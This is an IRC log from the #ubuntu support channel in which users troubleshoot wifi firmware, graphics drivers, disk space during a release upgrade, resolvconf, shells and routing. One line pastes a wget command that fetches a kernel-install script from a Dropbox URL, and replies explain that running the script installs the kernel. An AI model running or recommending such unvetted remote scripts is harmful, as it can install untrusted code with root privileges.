thiefyhisto,  yes, i'm dreadfully sorry i forgot the question mark at the end as it was a run-on sentence... heh.19:41
histothiefy: Yeah you could disable lightdm or whatever login manager you are using. the machine would then boot in cli mode.19:41
metal_wraithi'm so tempted to try ubuntu touch on my nexus 7. but also don't think it would be as productive as i am with it while android is on it just yet.19:41
DJoneshisto: jockey-gtk is a fake package in 12.10, since they moved additional drivers, there's been a bug that you have to install jockey-gtk, but when you run it you're told it needs to installed19:41
* histo slaps himself19:41
tgm4883metal_wraith, it's a developer preview. It's almost impossible to be productive with it19:41
histoDJones: They moved additional drivers to where? I still have jockey-text19:41
subthalamusI'm running regular fglrx on precise with a ATI Mobility X700 and it runs like cow dung ; would there be any advantage to using fglrx-experimental-9 or do I need to try to find and install a binary driver?19:41
SonikkuAmericahisto: Was that a recursive slap? :)19:42
histo-R19:42
thiefythanks histo and llutz19:42
DJoneshisto: THe additional drivers appears under System Settings -> Software Sources -> Additional drivers from 12.10 (jockey-text still exists, just jockey-gtk causes confusion)19:42
ccoilIf Ubuntu ever were to gain some success among "ordinary users" it should at least be intuitive for a technical person (like myself) (been programming since age 11; 23 y.o. now). Having to go through so much effort just to get the wifi working should be unacceptable. I even did the "update software" thing where it updated its software for aobut an hour -- Still no drivers ? :|19:43
histollutz: that factoid needs updated19:43
subthalamusjust need it to run vlc nicely19:43
histoccoil: What version of ubuntu do you have?19:43
tgm4883ccoil, personally, I'd blame broadcom19:43
histoDJones: ahh19:43
N105hello my wlan is too slow, with ubuntu when i use windows is too quick19:43
thiefyccoil,  sometimes you just get unlucky with your network card drivers.  i've had ti just just work perfectly, and some other computers it takes a LOT of reading to get it to work correctly.19:44
ccoilhisto: 12.10 through "Wubi"19:44
thiefyi agree with tgm4883 - my prob was with broadcom....19:44
histoccoil: It's an issue with the manufacturer of your card not providing firmware. It's not open. Not linux's fault.19:44
thiefyhow come windows doesn't have this driver problem - it's not open for windows either...19:45
metal_wraithtgm4883 - i realize that.. i'm just tempted to play around with it. granted my tablet rooted, etc19:45
Vivekanandahello everyone. Running a distribution upgrade on a old system with lucid. It is giving me insufficient space warnings. Here is my df -ha .http://pastebin.com/qdaPwfcg19:45
histothiefy: Because broadcom says it's okay to distribute the firmware with the windows drivers19:45
tgm4883thiefy, i'd call it less "luck" and more "the manufacturer of your wifi drivers is crappy and needs to open source their drivers (or at least provide linux drivers for it)"19:45
Vivekanandahlepp19:45
ccoilhisto: I see. So that means I will have to buy a new laptop to be able to run Ubuntu? Is there a particular brand that is supported?19:45
tgm4883ccoil, lots19:45
histoccoil: No you can just install the broadcom firmware if that is what type of card you have.19:45
histoccoil: what does lspci   show?19:45
tgm4883metal_wraith, I've installed it, there isn't much to play with19:45
histoccoil: I was just explaining why it didn't work out of the box.19:46
tgm4883ccoil, also, you might be able to just replace the wifi card in it19:46
histotgm4883: Why replace the card when he can just install the firmware.19:46
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metal_wraithtgm4883 - thanks for the info on that.19:47
tgm4883histo, well yea. I was just saying that in response to him thinking he needs a new laptop19:47
Vivekananda??19:47
ccoilhisto, tm4883: actually, when I think about it, I *did* get the wifi to work once on 12.04 thanks to the "Additional Drivers"-app. But on 12.10 it's gone and stalls forever when trying to install it from ubuntu software center :[19:47
tgm4883!tab | ccoil19:47
ubottuccoil: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.19:47
subthalamusI'm running regular fglrx on precise with a ATI Mobility X700 and it runs like cow dung ; would there be any advantage to using fglrx-experimental-9 or do I need to try to find and install a binary driver? I just need to run 720P videos in vlc without choppiness :/19:47
ccoil!tab | ccoil19:47
ubottuccoil, please see my private message19:47
biloooops19:48
histoccoil: It's under software sources now19:48
pranavif its different 32bit and 64 bit.. why is it in the same file: wget http://dl.dropbox.com/u/47950494/upubuntu.com/kernel-3.8 -O kernel-3.8 19:48
histoccoil: or you can run jockey-text  in a terminal19:48
ccoiljust write "jockey-text"; that's it?19:49
tgm4883pranav, because you are downloading a script19:49
tgm4883pranav, and that script downloads the right arch19:49
pranavi nkow19:49
pranav*know19:49
rudivsis there some tool I can use to try to recover data from a written cd that comes up as blank?19:49
histoccoil: Click ont he gear by the clock under system > software sources > there is an additional drivers tab like you are used to.19:50
tgm4883pranav, I don't understand your question19:50
ccoilhisto: arlight, i'll try once more.  I really want to use ubuntu. thanks :)  (i'll brb)19:50
Vivekanandahey everyone I deleted a couple of folders in /home to make space but a LTS upgrade still complains about no space. What should I delete ?19:50
ikoniaVivekananda: whatever is taking up your space/what you don't need19:50
tgm4883Vivekananda, how is your partitioning setup?19:51
pranavtgm4883: sry, i just read the script. its so readable :) there are conditions based on 32 or 64 systems :) thanks anyway19:51
jimboman77Hello.  I accidently placed my home directory on my SSD drive so I only have 4GB of free space.  I was wondering if there was a way for me to make a new account or resolve this somehow without having to reinstall ubuntu again because I want to save the hassle?19:51
Vivekanandait is here http://pastebin.com/qdaPwfcg19:51
N105hello my wlan is too slow, with ubuntu when i use windows is too quick19:51
llutzVivekananda: sudo apt-get clean19:51
tgm4883pranav, yes there are. You run the script, the script figures out if you need to download 32-bit or 64-bit, then downloads the right version19:51
BodsdaVivekananda: chances are its complaining about lack of space on / not /home19:51
tgm4883pranav, it does it for you so you don't have to19:51
Vivekanandayes it is19:51
histoWho in their infinate wisdom decided that is a good place for additional drivers?19:51
llutzVivekananda: removing stuff from $HOME won't help, its on an own partition. you need to free space on /19:51
Vivekanandaand I know it but how do I remove something from root ? and what should I remove ?19:52
Vivekanandahavent the faintest19:52
pranavtgm4883: so, do you find any performance of certain h/d or any differences personally ?19:52
histoN105: How are you testing it's speed?19:52
brontosaurusrexVivekananda, apt-get autoremove does something?19:52
pranavafter upgrade :P19:52
histopranav: SSD19:52
tgm4883histo, I'll agree that is a bad spot for it, but being in the software center is a good thing19:52
Vivekanandabrontosaurusrex: sudo apt-get clean does nothing19:52
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pranavSSD file-system19:53
tgm4883pranav, SSD's are pretty fast19:53
histoVivekananda: logs apt-get clean  will remove cached packages19:53
Vivekanandaam trying autoremove in a 2-3 mins19:53
N105histo: when i ping when i open a link on the browser...19:53
Vivekanandahisto: will try that19:53
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Vivekanandahave run the upgrade via cli again19:53
biloooops19:53
Vivekanandawaiting for it to finish19:53
Vivekanandaor end with an error19:53
BodsdaVivekananda: for info, clearing the apt cache is a temporary fix - chances are you'll fill it again19:53
histoVivekananda: /var/log  /tmp    /var/apt/cache  /var/cache  etc...19:53
histoVivekananda: remove old kernels that you don't boot to19:53
pranavwow.. just when i was going to buy a nice SSD19:54
histoVivekananda: ^^^^^ that will help the most19:54
Vivekanandahisto: I just always keep 2 olds. the last and the penultimate one19:54
Vivekanandathey free up like ~300 megs19:54
Vivekanandaor 400 megs19:54
Vivekanandabut it is asking me to free 1.4 gigs !!19:54
histoVivekananda: How big is /19:54
tgm4883Vivekananda, you have a pretty small /19:55
compdocssd can make a slow system seem fast19:55
tgm4883histo, it's 9.2G19:55
tgm4883total19:55
histotgm4883: that's plenty big19:55
tgm4883histo, http://pastebin.com/qdaPwfcg19:55
tgm4883histo, meh, I like to make mine about 1519:55
BodsdaVivekananda: your other option is to not partition - just leave everything under / - that pastebin looks like you only have 15GB for ubuntu19:55
Vivekanandatgm4883: yep I have an old computer , faithful and so that iswhat i have to work with :)19:55
tgm4883histo, I mean,  you could go smaller if you've got separate partitions for /var and such19:56
BluesKajtgm4883, FYI , /etc/resolvconf/resolv.conf.d/base doesn't write the nameserver nettings to /etc/resolv , only /etc/resolvconf/resolv.conf.d/base does ..i tested the settings and i couldn't connect to the interenet with the base settings19:56
VivekanandaBodsda: yep but I wanted to keep home separate and 10 gigs worked great for the past few years for me :(19:56
histoVivekananda: What all are you storing in / that should be plenty of space19:57
tgm4883BluesKaj, you mean ...../head?19:57
ccoil histo: I'm back @ ubuntu 12.10 this time. Went to the "Additional Drivers" tab under software sources. I switched them on, and clicked "Apply", but then 2 seconds later they bump back :[19:57
BluesKajtgm4883, oops yes , /head19:57
tgm4883histo, I'd assume, installed programs19:58
tgm4883BluesKaj, odd, it should do that. Let me test a bit19:58
zerickhi, anybody knows if it is possible - I mean, the normal way, not forcing - to install Varnish 2.1 on Ubuntu 12.04 ?19:58
ccoilwhat was this jockey-command called again?19:59
llutzBluesKaj: your resolvconf is broken then19:59
brontosaurusrexccoil, type jock and hit tab (auto-completition)19:59
Bodsdazerick: I have no idea what varnish 2.1 is, but what issues do you get installing it?19:59
BluesKajllutz, let me check19:59
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VivekanandaHey everyone , sudo apt-get distr-upgrade ran from cli with the following ouput. Does it look if it was ok ?? or is there a problem ?? http://pastebin.com/kEM3Xh0720:00
llutzBluesKaj: basically resolvconf  does "cat head base tail >/etc/resolv.conf"20:00
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llutz(simplified)20:00
N105histo: ??20:00
Vivekanandahisto: I installed ns3 simulator once and since then never cleaned up :(20:00
mdhvivekananda does the system still boot?20:00
Vivekanandathat was a monster file20:00
zerickBodsda: it's not available for that version, I need Varsnish 2.1, the current repo provides the 3.0 version20:01
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Vivekanandamdh I have not tried booting20:01
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VivekanandaI want to make sure it atleast looks ok before trying to switch off otherwise this is the only system I have for internet :(20:01
x0auserhi guys ! why i turn on my computer, it take a long time to have the menu of grub ! but when i remove my usb mouse i don't have any problem.. how to resolve this please ?20:01
BodsdaVivekananda: It looks succesful, but you have duplicate sources issues20:01
llutzBluesKaj: change those files and run "sudo resolvconf -u", check /etc/resolv.conf after20:01
VivekanandaBodsda: I am hoping that is a minor issue20:02
Vivekanandashoudld I try rebooting now ?20:02
BodsdaVivekananda: it is20:02
BodsdaVivekananda: yes20:02
Vivekanandawhat should I see when20:02
ccoilbruntosaurusrex, "jock" + <tab> does nothing. does that mean it's not installed +20:02
Vivekanandathe reboot happens. Also this was a dual boot xp + lucid computer20:02
VivekanandaI am hoping I will see both again20:02
Vivekanandaor not ??20:02
Vivekanandaduring the boot up selection menu. ( It was visible earlier )20:03
BodsdaVivekananda: I didn't see grub update, if xp was missing from your grub menu then it still may not be there20:03
VivekanandaBodsda: thanks. Booting up now . Fingers crossed :)20:03
* Bodsda x20:03
brontosaurusrexccoil, yeps20:04
Bodsdazerick: you'll need to pin the repo package so it doesnt update, then use a 2.1 .deb from somewhere else20:04
ccoilConnected my ethernet cable, did it again, and it seems to actually install now. Woa! Wifi may actually work now! :D20:05
AngtagaHello everybody20:05
AngtagaI installed the i3 window manager recently. How can I change in Ubuntu 11.10 the standard window manager to i3?20:06
johnflux__On my laptop I'm getting graphics corruption20:06
BodsdaAngtaga: on the login screen, there is a small icon to the right of your name, click on it and select the new WM - your choice will be remembered20:06
johnflux__How can I see what graphics chip I have, from the command line?20:06
Bodsdajohnflux__: lspci20:07
zerickBodsda: Ok, ok, the thing is that it is not supported for 12.04. I'll change my question a little bit, is there any big difference between the 12.04 version and the one before ?20:07
llutzjohnflux__: lspci | grep  -i vga20:07
Bodsdazerick: as long as their aren't any dependency conflicts, you should be fine20:07
johnflux__00:02.0 VGA compatible controller: Intel Corporation 3rd Gen Core processor Graphics Controller (rev 09)20:07
AngtagaBodsda thank! I'll try this :) Back in a minute ;)20:07
brontosaurusrexzerick, 12.04 is lts20:07
BodsdaAngtaga: good luck20:07
ccoilIs there a way to get my pc to "relax" a little? My PC smells like burned rubber here from just browsing the web (and it's a pretty new computer). I don't understand what it's working so hard on :S, i'm not doing anything. Battert lasts like 30 minutes, while 2h hours+ on windows 7 :/20:08
Vivekanandabooted back. Still on lucid . No changes :(20:08
zerickbrontosaurusrex: If I install a package from 11.10, no problem?20:08
tgm4883ccoil, what laptop?20:08
ccoilAcer 7750g20:08
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mdhburning smell is not good.20:08
genii-aroundjohnflux__: You can also do: sudo lshw -C video   which gives some more detailed info, look at the line: product    for model etc, and line: configuration   to see what driver it's using right now20:08
tgm4883ccoil, what video card?20:08
ccoilRadeon 6600M20:08
llutzhisto: aja intel HD Graphics 400020:09
brontosaurusrexzerick, no idea20:09
BodsdaVivekananda: run the upgrade again and check how many packages it want's to install this tim20:09
mdhccoil which browser, and do you use flash?20:09
Bodsdatime*20:09
tgm4883ccoil, does that have switchable graphics?20:09
ccoil6650m *   Firefox. And I'm this webchat is my only tab20:09
tgm4883ccoil, also, do you have the proprietary drivers installed?20:09
VivekanandaBodsda: should I not run the clean commands first and probably delete something before running again ?20:09
johnflux__genii-around: ah, that says the i91520:10
BodsdaVivekananda: I'm not suggesting actually accepting the install, just see how many packages it wants to upgrade20:10
johnflux__Don't suppose anyone knows why I'd be getting lots of screen corruption?20:10
ccoilIt's not browsing, but just having my pc with ubuntu on in general.  Right now "amd accelerators from fglrx-updates (propertiatry)" (nvm the spelling)20:10
mdhjohnflux__ is it getting too hot?20:10
VivekanandaBodsda: should I run sudo apt-get distr-upgardge from cli and post the output ?20:10
genii-around:-/ The 915 driver is notoriously problemmatic20:10
BodsdaVivekananda: yeah - but say no to the prompts20:11
tgm4883ccoil, what is the output of 'aticonfig --pxl'20:11
johnflux__mdh: nah I don't think that's the problem - I get the corruption from startup20:11
Vivekanandathe result is --- Calculating upgrade... Done20:11
Vivekananda0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.20:11
Vivekanandafor the command ---sudo apt-get dist-upgrade20:12
ccoiltgm4883: no layout section found20:12
BodsdaVivekananda: whats the output of 'lsb_release -a' ?20:12
genii-aroundjohnflux__: What says the vendor:product code for that card in the output from: lspci -nn   ( the part like (8086:abcd) )20:12
tgm4883ccoil, does the catalyst config center show the GPU temp?20:12
mdhjohnflux__ have you tried to use another desktop enviornment rather than unity?20:13
histoVivekananda: apt-get purge whatever app you installed before. To completely remove it.20:13
ccoiltgm4883: I dont believe I have "catalyst control center" atm (on Ubuntu)20:13
brontosaurusrexccoil, what laptop is it?20:13
ccoiltgm4883: I found it. Sorry. It told me no AMD driver was currently installed20:13
Vivekanandahisto: Should I run it now ? I dont remeber what app I installed before coz it was a while back. Are you telling me ways to remove broken installs ???/20:14
subthalamusI'm running regular fglrx on precise with a ATI Mobility X700 and it runs like cow dung ; would there be any advantage to using fglrx-experimental-9 or do I need to try to find and install a binary driver? I need to run 720P video in vlc minus choppiness :/20:14
tgm4883ccoil, yea, looking into this. I would bet that both your graphics cards are on20:14
VivekanandaBodsda: http://pastebin.com/4rSMwd6n20:14
tgm4883ccoil, I had the same issue20:14
YounderHow do I connect to all in one multicard reader from a ubuntu server?20:14
ccoiltgm4883: very possible. How do I install the driver since it's obviosuly(?) not installed atm(?)?20:14
tgm4883ccoil, 'fglrxinfo'?20:15
brontosaurusrexsubthalamus, you want hardware accelerated h.264 decoding from card? did you try mplayer? choppy there as well?20:15
agu10^hi20:15
ccoiltgm4883:  error failed request.  BadAlloc20:15
agu10^Hey guys! (:20:15
ramblingpirateHello all20:15
tgm4883ccoil, I followed something similar to  http://ubuntuforums.org/showthread.php?t=193045020:15
tgm4883ccoil, I say similar, because I've got a 7600m20:15
BodsdaVivekananda: run 'update-manager -d' -- is there a bar at the top advertising a new version?20:15
tgm4883ccoil, although your laptop is listed there I think20:15
AngtagapagligtHey Bodsda ... this worked great - thanks again :) I'm only with i3 window manager :)20:16
Angtagapagligtbye20:16
VivekanandaBodsda: Yes.20:16
BodsdaAngtagapagligt: have you tried fluxbox?20:16
jak2000hi all, how to rename 1000 files? i am connected to server via FTP i try: prompt; mv *.* *.old   but not work :(  any advice?20:16
BodsdaVivekananda: what happens if you click upgrade?20:16
subthalamusbrontosaurusrex: I have not, does mplayer consistently handle h.264 better for some reason?20:16
AngtagapagligtBodsda: Yeah ... but it wasn't my favourite... :/ Do you like it?20:16
pygmalionSomehow I have ended up in a state where uname and the arch command both suggest that I am on an x86_64 architecture, but `file /sbin/init` suggests that I am on a 32 bit architecture (as do dpkg and apt-get). Any idea how that could happen and how I can move everything to 64 bit?20:17
YounderHow do I connect to all in one multicard reader from a ubuntu server?20:17
VivekanandaIt starts with the release notes and an upgrade button down below.20:17
subthalamusbrontosaurusrex: kind of need to use vlc, but I could test with mplayer just to find out20:17
brontosaurusrexsubthalamus, the cli version is faster than vlc for me (generally speaking)20:17
BodsdaAngtagapagligt: I'm a die hard fluxbox user - can't stand traditional WM's/DE's20:17
genii-aroundYounder: When you plug a card into it, do: dmesg|tail       and it will let you know if that card is like sdb,sdc,sdd   or so on. Then you can mount usually the first partition of that disk by something like: sudo mount /dev/sdX# /mnt   where X is the letter you saw from dmesg and # is usually 1 for the first partition20:17
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VivekanandaBodsda: is fluxbox good for all purposes that gnome are including things like compiz and stuff20:17
AngtagapagligtBodsda: But i3 isn't that traditional, too :P What do you like especially about fluxbox?20:18
Vivekanandabut I would worry about then later I guess20:18
genii-aroundYounder: Alternately, make a directory under /media and use that instead of /mnt in the command20:18
Bodsdajak2000: for loop - http://www.howtogeek.com/howto/ubuntu/shell-geek-rename-multiple-files-at-once/20:18
ccoiltgm4883: Thanks. doing the guide now. hopefully it'll work. Did yours use to overheat as well?20:18
BodsdaVivekananda: fluxbox is very lightweight - you wouldn't want to try and run fluxbox with compiz20:18
VivekanandaShould I press the upgrade ?20:18
jak2000Bodsda but via FTP can i do this?20:18
subthalamusbrontosaurusrex: so no advantage to either of the other drivers?20:18
tgm4883ccoil, yep. got really hot, about 1 hour battery life20:18
VivekanandaBodsda: I want to try something ligther on my very old lappy20:18
BodsdaAngtagapagligt: I like the tabbable/joinable windows and the right click menu system20:19
subthalamusbrontosaurusrex: trying mplayer in a sec20:19
VivekanandaI probably will get that distro20:19
BodsdaVivekananda: fluxbox is a good start for an old machine20:19
brontosaurusrexVivekananda, if you want lighter de, id suggest crunchbang (debian + openbox nicely preconfigured, no compiz effects there)20:19
tgm4883ccoil, also, the guide references the 12.4 driver, but the 13.1 driver is out. I believe i used 13.120:19
GoranekDWM is great for old machine !!! :)20:19
Bodsdajak2000: hhmm, not sure - maybe not, you need a bash prompt20:19
VivekanandaBodsda: I will try for sure . Just want my eclipse juno emacs tomcat and sql to run20:19
nyuszika7hhi, when I boot any Linux live USB I get the error "EDD: Error X reading sector Y" a lot of times and/or graphical glitches. I've tried Kubuntu 12.10, openSUSE 12.3 and SliTaZ 4.0, all three have the error. I've tried two USB sticks and 4 ports, same issue. the mouse works fine though, so where's the problem?20:19
GoranekVivekananda: try DWM..it's super light20:19
histoVivekananda: you could locate teh files for the old app and just delete them manually20:19
AngtagapagligtBodsda: Maybe I install fluxbox again... :) Have you tried i3?20:19
tgm4883ccoil, also, I've not messed with it in a few months, but I couldn't get unity to show up using the integrated card, so I only use the discrete card now20:20
BodsdaVivekananda: yep, they will be fine - just run  sudo apt-get install fluxbox fbsetbg20:20
BodsdaAngtagapagligt: nope, but I might give it a go later on tonight -- best features?20:20
Vivekanandahisto: this is one problem I always have with ubuntu. I have no clue of what the apps were that I installed ONCE upon a time and why . I windows they are always visible with icons and stuff but here there is no such help :(20:20
VivekanandaBodsda: That I sure will but what now20:21
Vivekanandashould I run the upgrade ? again ?20:21
VivekanandaIt will again complain about no space as it did before20:21
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BluesKajllutz, my resolv.conf seems fine , it's similar to /etc/resolvconf/resolv.conf.d/head the file that writes to it.20:21
BodsdaVivekananda: erm, yeah sorry where are we - have you tried accepting the dit upgrade via the graphical update-manager -d?20:21
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AngtagapagligtBodsda: It's really really fast to handle if you learned the keybindings (they are not too hard ;)) and it's really lightweight...20:21
VivekanandaBodsda: should I accept knowing full well it is going to complain for space again on root ?20:22
AngtagapagligtBodsda, I think you would like it ;P20:22
subthalamusbrontosaurusrex: hmm, mplayer just shows a blank screen and no sound20:22
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ccoiltgm4883: Is it really worht the effort? :P  The one thing I want the most from Linux/Ubutnu is improved UI (&Customization); => so that i can be more productive when I develop software. I guess a alternative UI for windwos would've been easier; but there doesn't seem to be anything viable :S kind of strange given how big the windows userbase is20:23
VivekanandaBodsda: Also will the upgrade install gnome or unity by default. I would like to have a lesser heavy distro and not use unity coz my sys is old20:23
brontosaurusrexsubthalamus, its doesnt find any usefull drivers then, or your config is borked20:23
llutzBluesKaj: basically resolvconf  does (simplified) "cat head base tail >/etc/resolv.conf". so it is normal that your /etc/resolv.conf has content of the head-file20:23
tgm4883ccoil, the guide? I'd say yea20:23
BluesKajllutz, as far as I can tell /etc/resolvconf/resolv.conf.d/base  doesn't write to /etc/resolv.conf20:23
brontosaurusrexsubthalamus, you can force different outputs via cli thought20:23
VivekanandaBodsda: should I accept knowing full well it is going to complain for space again on root ?20:24
llutzBluesKaj: it does and it has to. if it doesn't for you, something is broken.20:24
BodsdaVivekananda: no, give me a few mins20:24
Vivekanandaok :)20:24
ccoiltgm4883: The only alterntive shells around seem to be very unproductive and gimmicky. e.g. a fucking spaceship for a cursor :P lol. is there anyone older than 12 who would want this? :P20:24
ecretjust added a new user, in the shell of new user I see:     $      I can't backspace or anything.  If I type bash it fixes it but then it doesn't work the next time i login and i need to type exit twice to quit.  How do I fix this?20:24
bekksecret: Which shell did you specify?20:25
brontosaurusrexccoil, what shell is that?20:25
tgm4883ccoil, I use unity, I just have to use the discrete video card rather than the integrated one20:25
bekksbrontosaurusrex: could be ksh20:25
llutzecret: sudo chsh -s /bin/bash USERNAME20:25
brontosaurusrexoh20:25
genii-aroundnyuszika7h: "sector Y" physical bad location on the usb or hd20:25
ecretbekks: just a regular shell20:26
Vivekanandahisto: In windows the icons and the "about" of a program told me what I needed to know and if I needed it anymore or not . In ubuntu or linux how do I find the similar stuff out? I have no clue what I installed or what space it is taking and if I should remove it. Also no clue what is eating up ~10 gbs20:26
bekksecret: Which shell?20:26
ecretllutz: worked, thanks! I swear I had this issue before too20:26
ccoiltgm4883: yea. unity is really nice. so many options, virtual desktops, window arrangement hotkeys etc. it's a shame there's nothing equivallent for windows20:26
ecretbekks: it was ssh20:26
bekksecret: Every shell is a regular shell.20:26
bekksecret: ssh is not a shell.20:26
tgm4883ccoil, so use Unity? I'm not sure what you're asking20:26
brontosaurusrexsubthalamus, mplayer -vo help20:27
ecretbekks: it works now but i am curious if you can explain that20:27
nyuszika7hgenii-around: booting from a live CD works, but both my USB sticks give that error... how can I fix that?20:27
ecretwhen adding the user i just did useradd and includeed its path20:27
subthalamusbrontosaurusrex: workin on it, still think i should be changing drivers though..?20:27
bekksecret: Well, using ksh as your shell, the default prompt is "$", there is no backspace like in bash, etc.20:28
brontosaurusrexsubthalamus, yes, you should20:28
llutzecret: hint: use adduser next time20:28
ccoiltgm4883: Unity is Linux-only(?). i'm just saying: the only reason I go through all htis effort to get ubuntu up and running, is so that i can enjoy unity;  apart from that i see no real advntage in linux20:28
bekksecret: So I was wonderung which shell you were using actually.20:28
subthalamusbrontosaurusrex: so back to my original question20:28
ecretbekks: osx terminal20:28
tgm4883ccoil, ah, I understand now20:28
ecretllutz: hah i used user add.  my bad!!20:28
bekksecret: Thats not a shell.20:28
genii-aroundnyuszika7h: Maybe after put the image onto the usb stick, do a filesystem check on it before booting it up20:29
BodsdaVivekananda: can you pastebin the output of this   'sudo find / -size +1000M -ls'20:29
mdhbash is a shell.20:29
subthalamusbrontosaurusrex: fglrx-experimental-9 or is there a binary i should use somewhere?20:29
ecretbash then20:29
brontosaurusrexsubthalamus, no idea20:29
Vivekanandasure hold on20:29
bekksecret: bash has a different prompt an backspace works.20:29
llutzecret: should do too, "adduser" is just a handy wrapper-script around20:29
bekksecret: So it couldnt have been bash.20:29
mdhi think osx uses bash20:29
Questikonia,  are you there?20:30
nyuszika7hgenii-around: chkdsk /F /R /X H: found no issues20:30
bekksmdh: Which is irrelevant, since OSX isnt Ubuntu :)20:30
genii-aroundnyuszika7h: Hm, ntfs20:30
nyuszika7hthe USB stick is formatted FAT3220:30
nyuszika7hI've tried both LiLi (Linux Live USB Creator) and UNetbootin, btw20:30
brontosaurusrexccoil, servers, learning, no viruses, infinite configurability20:30
mdhbekks: he said osx terminal, i think its bash20:30
Bodsdanyuszika7h: did you check the MD5's after download?20:30
VivekanandaBodsda: it is taking a decent bit of time20:31
nyuszika7hBodsda: yes, the download manager did it for me, and LiLi verified it too20:31
bekksmdh: The OSX terminal is available on OSX only, and, in addition, it isnt a shell :)20:31
brontosaurusrexccoil, thats /my view only, of course20:31
BodsdaVivekananda: thats fine, it's enumerating every file on your system20:31
BodsdaVivekananda: has it ouput anything?20:31
mdhbekks: i was just trying to tell him that that 'shell' was really bash20:31
Vivekanandayep so will wait to finish it20:31
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VivekanandaI have an old system :)20:31
BluesKajllutz, dnsmasq perhaps ?20:32
SonikkuAmericanyuszika7h: Are you trying this from Windows?20:32
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nyuszika7hSonikkuAmerica: trying what?20:32
nyuszika7hburning the ISO? yes20:32
bekksmdh: That shell want really bash, since we are talking about Ubuntu, and not OSX.20:32
brontosaurusrexVivekananda, another interesting app for diskspace usage analisis is ncdu20:32
bekksmdh: And bash behaves differently from what he told us.20:32
nyuszika7hthe SliTaZ ISO works fine in a VM (but not on the actual computer - same error as with the others); the others get stuck in the boot process, I guess I shouldn't expect much from an Intel Pentium M 740 without hardware virtualization... (this is my old laptop, the other one is being repaired because the graphics card is broken)20:32
BodsdaVivekananda: old systems are great - people pay me to take them away and then I repurpose them as media centers or servers20:32
mdhbekks: the osx terminal emulator i meant.20:32
SonikkuAmericanyuszika7h: That's what I meant. Have you tried any of the solutions at http://pendrivelinux.com/?20:33
bekksmdh: Lets pass this. OSX isnt a support issue in here, and the terminal emulators and shell used on OSX are irrelevant to Ubuntu.20:33
VivekanandaBodsda: I love my old system. Just that ides are getting heavier and so are the office things I need for word processing20:33
BodsdaVivekananda: VIM for life :)20:33
nyuszika7hvim++20:33
pablognuHello to all20:34
mdhemacs, son.20:34
VivekanandaBodsda: yes I like vim too but debugging java in vim is not what I am familiarwith20:34
majukarmavim is enougth20:34
Bodsdamdh: get out :)20:34
VivekanandaI love both vim and emacs20:34
brontosaurusrexVivekananda, alternative de's20:34
majukarmagetdit ?20:34
datruthIs there away to force traffic through a certainIP outbound with iptables?20:34
majukarmagedit ?20:34
Vivekanandaemacs more actually but I must confess my self very very new to it to make it useful to me20:34
mdhhah, i really prefer nano20:34
SonikkuAmericanano!!20:34
majukarmagvim :)20:34
Bodsdadatruth: routingg tables?20:34
brontosaurusrexgeany!20:34
SonikkuAmericananogvimedit++!20:35
majukarmapico :)))20:35
VivekanandaI have only one big problem with emacs which is not there for vim20:35
VivekanandaI can call vim by default in cli20:35
majukarmaanjuta20:35
Bodsdalol, now look what I've started20:35
Vivekanandaemacs cannot20:35
Vivekanandalollll20:35
SonikkuAmericalolol20:35
VivekanandaBodsa I am waiting20:35
bekks!ot | Vivekananda majukarma brontosaurusrex20:35
ubottuVivekananda majukarma brontosaurusrex: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!20:35
datruthBodsda: And if I only want web traffic to go out of a certain IP I need routing tables for that to?20:35
pablognuI have a strange problem... if i enter the reboot command the system send the reboot message but it dont rebbot20:35
majukarmaeclipse for linux c, c++ xD20:35
Bodsdadatruth: what do you mean by 'out of a certain IP'? do you have multiple NIC's and networks?20:36
Vivekanandabekks: sorry. Waiting on a command result that Bodsda gave me.20:36
pablognuI have to enter the command again20:36
BodsdaVivekananda: has it output anything yet?20:36
majukarmajed joe jove...20:36
Vivekanandayes hold on20:36
majukarmae320:36
majukarmased20:36
BodsdaVivekananda: cancel the job and output the current results20:36
bekksmajukarma: Stop it.20:36
Vivekanandahttp://pastebin.com/kTeNFxYB20:36
Bodsdaty20:36
datruthBodsda: I have multiple ips on one interface and when I make outbound connections it uses my main IP i'd like to use another20:36
BodsdaVivekananda: ok, we've got no >1GB files on the ubuntu system - try +500M20:37
Bodsdadatruth: then routing tables are the way to go20:37
histoBodsda: wouldn't du be faster?20:37
datruthBodsda: can you point or show me an example?20:38
llutzdatruth: set default iface "route add default ethx:y20:38
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VivekanandaBodsda: should I run du ?20:38
datruthllutz: hrmm20:38
Bodsdadatruth: sure, check this one out - http://www.ubuntugeek.com/howto-add-permanent-static-routes-in-ubuntu.html20:38
Vivekanandahisto: did you get my question above ?? I would love to get an answer20:39
datruthok then llutz suggestion will be easier there is no way to do this in iptables?20:39
Bodsdahisto: yes, but you I can't figure out how to pipe it to sort without it borking out with permission denied on certain dirs20:39
Bodsdabut i*20:39
BodsdaVivekananda: you can do -- du / -h  -- but there will be lots of output to sift through20:40
tgm4883llutz, looking at the resolvconf code, something does seem broken20:40
tgm4883llutz, have you tested /base20:40
histoBodsda: you can --exclude  with du.20:40
histoBodsda: and he'd have to sort etc... I guess find is easier to explain on here.20:40
VivekanandaBodsda: you mean sudo du / -h right ?20:41
llutztgm4883: i'm on debian, it works as desired here.20:41
escottVivekananda, -xdev is the option you want20:41
histoVivekananda: Just do another find. It will be easier for you to understand.20:41
Bodsdahisto: I just can't get it to work - even du / -h | awk '{print $1}' | sort   errors on me20:41
Vivekanandahisto: Already running it20:41
Vivekanandaas to the question20:41
datruthWhy can I not just tell Iptables when im making outbound connections to certain ports to use another IP?20:41
Vivekanandahisto: In windows the icons and the "about" of a program told me what I needed to know and if I needed it anymore or not . In ubuntu or linux how do I find the similar stuff out? I have no clue what I installed or what space it is taking and if I should remove it. Also no clue what is eating up ~10 gbs20:41
datruthwhy does all traffic have to be routedD?20:41
BodsdaVivekananda: datruth is that a serious question?20:41
bekksBodsda: Which errors do you get, and what are you trying to achieve?20:42
Bodsdadatruth: *20:42
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nyuszika7hVivekananda: sudo du -h / | sort -rh | head20:42
datruthBodsda: yes it is very serious20:42
bekksdatruth: Because it wont reach its target otherwise.20:42
histo+1 for nyuszika7h20:42
escottdatruth, does all mail have to be stamped?20:42
Bodsdabekks: I get lots of permission denied errors and I'm trying to pipe du / -h through sort to get something like top 20 big files20:42
tgm4883llutz, base should just contain something similar to this "nameserver 123.123.123.123" right?20:42
nyuszika7hit should show you the top 10 things taking up the most space20:42
